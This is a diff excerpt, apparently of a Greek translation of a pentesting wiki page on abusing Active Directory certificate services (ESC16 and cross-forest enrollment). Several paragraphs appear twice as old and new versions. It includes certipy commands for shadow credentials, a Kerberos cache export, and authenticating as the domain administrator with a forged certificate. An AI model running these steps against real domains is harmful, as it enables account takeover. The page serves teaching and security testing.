1. Αίτηση πιστοποιητικού **χωρίς σύνδεση SID**.
@ -795,7 +835,7 @@ certipy shadow \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "θύμα" από _οποιοδήποτε κατάλληλο πρότυπο πιστοποίησης πελάτη_ (π.χ., "Χρήστης") στην CA που είναι ευάλωτη σε ESC16.** Επειδή η CA είναι ευάλωτη σε ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις συγκεκριμένες ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ρυθμίστε τη μεταβλητή περιβάλλοντος cache διαπιστευτηρίων Kerberos (εντολή shell):
**Βήμα 4: Ζητήστε ένα πιστοποιητικό ως ο χρήστης "θύμα" από _οποιοδήποτε κατάλληλο πρότυπο πιστοποίησης πελάτη_ (π.χ., "Χρήστης") στην CA που είναι ευάλωτη στο ESC16.** Επειδή η CA είναι ευάλωτη στο ESC16, θα παραλείψει αυτόματα την επέκταση ασφαλείας SID από το εκδοθέν πιστοποιητικό, ανεξάρτητα από τις συγκεκριμένες ρυθμίσεις του προτύπου για αυτήν την επέκταση. Ρυθμίστε τη μεταβλητή περιβάλλοντος cache διαπιστευτηρίων Kerberos (εντολή shell):
```bash
export KRB5CCNAME=victim.ccache
```
@ -819,18 +859,22 @@ certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## Συμβιβασμός Δασών με Πιστοποιητικά Εξηγούμενα σε Παθητική Φωνή
## Συμβιβασμός Δασών με Πιστοποιητικά Εξηγούμενος σε Παθητική Φωνή
### Σπάσιμο Δεσμών Δασών από Συμβιβασμένες CA
Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το resource forest **δημοσιεύεται στα account forests** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το resource forest **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε account forest**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο resource forest πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, το resource και το account forest, θα μπορούσαν να **κατασκευαστούν από αυτούς**, σπάζοντας έτσι το ασφαλές όριο του δάσους.
Η ρύθμιση για **cross-forest enrollment** είναι σχετικά απλή. Το **root CA certificate** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **enterprise CA** πιστοποιητικά από το δάσος πόρων **προστίθενται στα `NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η ρύθμιση παρέχει στον **CA στο δάσος πόρων πλήρη έλεγχο** σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Εάν αυτή η CA **συμβιβαστεί από επιτιθέμενους**, τα πιστοποιητικά για όλους τους χρήστες και στα δύο δάση, πόρων και λογαριασμών, θα μπορούσαν να **παραποιηθούν από αυτούς**, σπάζοντας έτσι το όριο ασφαλείας του δάσους.
### Δικαιώματα Εγγραφής που Χορηγούνται σε Ξένους Πρίγκιπες
Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν σε **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο token του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής σε Authenticated Users**, ένα πρότυπο θα μπορούσε ενδεχομένως να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Σε περιβάλλοντα πολλών δασών, απαιτείται προσοχή όσον αφορά τις Enterprise CA που **δημοσιεύουν πρότυπα πιστοποιητικών** που επιτρέπουν στους **Authenticated Users ή ξένους πρίγκιπες** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Μετά την αυθεντικοποίηση μέσω ενός δεσμού, το **Authenticated Users SID** προστίθεται στο διακριτικό του χρήστη από το AD. Έτσι, εάν ένα domain διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει δικαιώματα εγγραφής στους Authenticated Users**, ένα πρότυπο θα μπορούσε ενδεχομένως να **εγγραφεί από έναν χρήστη από ένα διαφορετικό δάσος**. Ομοίως, εάν **τα δικαιώματα εγγραφής χορηγούνται ρητά σε έναν ξένο πρίγκιπα από ένα πρότυπο**, δημιουργείται μια **σχέση ελέγχου πρόσβασης μεταξύ δασών**, επιτρέποντας σε έναν πρίγκιπα από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Και τα δύο σενάρια οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον προνόμια σε ένα ξένο domain.
Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από το ένα δάσος στο άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσουν επιπλέον προνόμια σε ένα ξένο domain.
## Αναφορές
- [Certify 2.0 SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
{{#include ../../../banners/hacktricks-training.md}}